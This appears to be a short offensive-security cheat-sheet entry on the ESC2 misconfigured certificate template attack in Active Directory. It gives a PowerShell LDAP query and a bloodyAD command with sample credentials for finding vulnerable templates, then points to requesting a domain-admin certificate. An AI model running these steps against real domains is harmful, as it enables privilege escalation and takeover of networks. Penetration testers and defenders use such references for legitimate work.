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Active Directory - Certificate ESC2

contents

ESC2 - Misconfigured Certificate Templates#

Requirements

  • Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation

  • Find template

    PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
# or
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'

  • Request a certificate specifying the /altname as a domain admin like in ESC1 - Misconfigured Certificate Templates.

References#